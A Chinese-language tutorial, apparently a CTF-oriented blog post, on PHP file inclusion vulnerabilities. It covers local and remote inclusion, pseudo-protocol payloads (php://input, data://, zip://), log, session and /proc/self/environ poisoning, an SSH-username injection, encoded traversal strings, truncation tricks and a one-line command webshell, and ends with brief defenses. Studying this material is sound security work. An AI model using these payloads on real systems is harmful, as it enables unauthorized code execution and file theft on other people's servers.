OWTOP10芝文件包含
一.什么是文件包含漏洞
PHP文件包含漏洞在对服务端所利用requie(),include(),requie_once(),include_once()的不安全包含文件,在这个四个函数中,无论文件为任意类型,只要内容为php代码,就会在包含的时候自动读取代码内容并执行。
require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。
二.文件包含的类型
文件包含漏洞存在以下两种类型:
LFI(Local File Inclusion)
本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。
RFI(Remote File Inclusion)
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置- allow_url_fopen = On
- allow_url_include = On
两个配置选项均需要为On,才能远程包含文件成功。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。如果
allow_url_fopen=off那么远程 URL wrapper就不行了(wrapper是流包装器),例如data,http,ftp这些协议就无法使用
三.文件包含的利用姿势
无论是怎么样的文件包含利用姿势,都殊途同归
文件包含漏洞利用 =
① 找 include 点
② 找一个“你能控制内容”的地方
③ 让这个地方出现 PHP 代码
④ 被 include → 执行
伪协议
file://协议
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
可用于读取一些隐秘文件,但相对来说只有非常简单的题目才可利用这一点,一般都不会简单读取
php://协议
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码。
php://input用于执行php代码。
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
利用条件:
allow_url_fopen :off/on
allow_url_include:off/on
例如有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开当前目录下的2.php:

他只显示了一条语句,这时候我们可以以base64编码的方式读取指定文件的源码:
输入
php://filter/convert.base64-encode/resource=文件路径
得到2.php加密后的源码:

再进行base64解码,获取到2.php的完整源码信息:

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。但这里还要提一个点,php://input是一次性数据流,所以如果代码中有在include前使用了数据,那么在include的时候数据就空了,例如前面有一个file_get_content(),一般来说框架中也可能会有这种操作,所以需要留意
利用条件:
allow_url_fopen :off/on
allow_url_include:on
利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:

发送报文,可以看到本地生成了一句话木马:

ZIP://协议
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://
利用条件:
allow_url_fopen :off/on
allow_url_include:off/on
POC为:

zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt
data://协议
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
利用条件:
allow_url_fopen :on
allow_url_include:on
POC为:
1 | data://text/plain,<?php phpinfo();?> |


伪协议利用条件
伪协议的利用方法还有很多,这里就不一一举例了。
伪协议的用法小结

包含session
要想学会利用包含session,就要先清楚seesion的会话机制
会话存储方式
Java是将用户的session存入内存中,而PHP则是将session以文件的形式存储在服务器某个文件中。
利用条件:session文件路径已知,且其中内容部分可控。
姿势:
php的session文件的保存路径可以在phpinfo的session.save_path看到。
常见的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
具体可参考下面这篇文章学习:https://www.anquanke.com/post/id/201177
,写得非常详细,我就不献丑了
PHP在文件上传和读取的过程中还有一个利用session专门记载进程的功能,我们还可以利用这点包含生成的临时文件,这个后面实验后专门开一章讲解一下。
包含日志
1.访问日志
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。
但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。
正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。
在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。
1 | 常见日志路径: |
2.ssh log
首先补充一点有关ssh的知识:
ssh基础连接语句:
1 | ssh [选项] [用户名]@[主机名或IP地址] [-p 端口号] |
若语句中为不存在的用户,会显示连接不上,但日志会记录这个不存在的用户的尝试连接日志,这里我们就可以利用恶意语句作为用户名被包含达到利用目的
利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
姿势:
用ssh连接:
1 | ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost |
之后会提示输入密码等等,随便输入。
然后在remotehost的ssh-log中即可写入php代码:
之后进行文件包含即可。
包含environ
利用条件:
- php以cgi方式运行,这样environ才会保持UA头。
- environ文件存储位置已知,且environ文件可读。
姿势:
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
包含fd
先来介绍一下,什么是fd:
在linux系统中,有一句名言,一切皆文件。在我们启动软件使用进程时也会创建文件,而fd就是文件描述符。标准输入(standard input)的文件描述符是 0,标准输出(standard output)是 1,标准错误(standard error)是 2。
若是想了解更具体是如何实现的可以找寻相关资料学习,还是蛮有意思的。
后面的利用就和environ差不多,就不多赘述了。
四.绕过方法
指定前缀
1.目录遍历
目录遍历是我现在了解到的较为通用的方法,若是.或/被过滤可用下面方法尝试绕过
- url编码
- ../
- %2e%2e%2f
- ..\
- %2e%2e%5c
- ../
- 二次编码
- ../
- %252e%252e%252f
- ..\
- %252e%252e%255c
- ../
- 服务器/容器的编码方式
- ../
- ..%c0%af
- %c0%ae%c0%ae/
- ..\
- ..%c1%9c
- ../
2.简单了解好像伪协议也可以利用,读取到伪协议会将前面的字段忽略掉,但这个还没看见有实验结果图,需要自己实验后才可以确认,偷个懒,先留一下
指定后缀
1.url格式
1 | protocol :// hostname[:port] / path / [;parameters][?query]#fragment |
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
姿势一:query(?)
1 | index.php?file=http://remoteaddr/remoteinfo.txt? |
则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过。
姿势二:fragment(#)
1 | index.php?file=http://remoteaddr/remoteinfo.txt%23 |
则包含的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23。
2.利用协议
假设现在测试代码为:
1 | <?php |
构造压缩包如下:
其中test.php内容为:
1 | <?php phpinfo(); ?> |
利用zip协议,注意要指定绝对路径
1 | index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta |
则拼接后为:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php
能成功包含。
3.长度截断
利用条件: php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
1 | index.php?file=././././。。。省略。。。././shell.txt |
则后缀/test/test.php,在达到最大值后会被直接丢弃掉。
4.0字节截断
利用条件: php版本 < php 5.3.4
1 | index.php?file=phpinfo.txt%00 |
能利用00截断的场景现在应该很少了:)
写入内容进行修改
为了防止写入内容被利用,有时会将写入的内容符号进行编码,对内容进行反序列化甚至直接编码,这就导致了我们时候写入文件也可以包含但无法成功。例如<?php system($_GET['cmd']); ?>或者会关闭短标签<? system($_GET['cmd']); ?>,这些情况下我们写入的代码就会失效。
这种情况下我们可以考虑利用条件竞争,毕竟对文件内容进行操作和写入文件是两步操作,中间肯定存在窗口的。拿session文件来举例吧:
正常流程是请求开始 → 写入$_SESSION → 请求结束 → 写入session文件上面提到的操作都是在写入文件那一步才进行的,我们此时可以尝试用条件竞争来include文件,同时传两个包,一个给SESSION参数赋值的请求,一个读取文件的请求,此时可能会让我们读到刚开始写入文件的内容即我们赋值的原数据,就可以按照正常的php代码执行了
五.如何防御
1.若是不会影响功能需求,php可配置open_basedir,现在文件包含只能限制在具体目录下,可防止攻击者随意读取任意目录下的文件
2.做好文件的权限管理
3.对危险字符进行过滤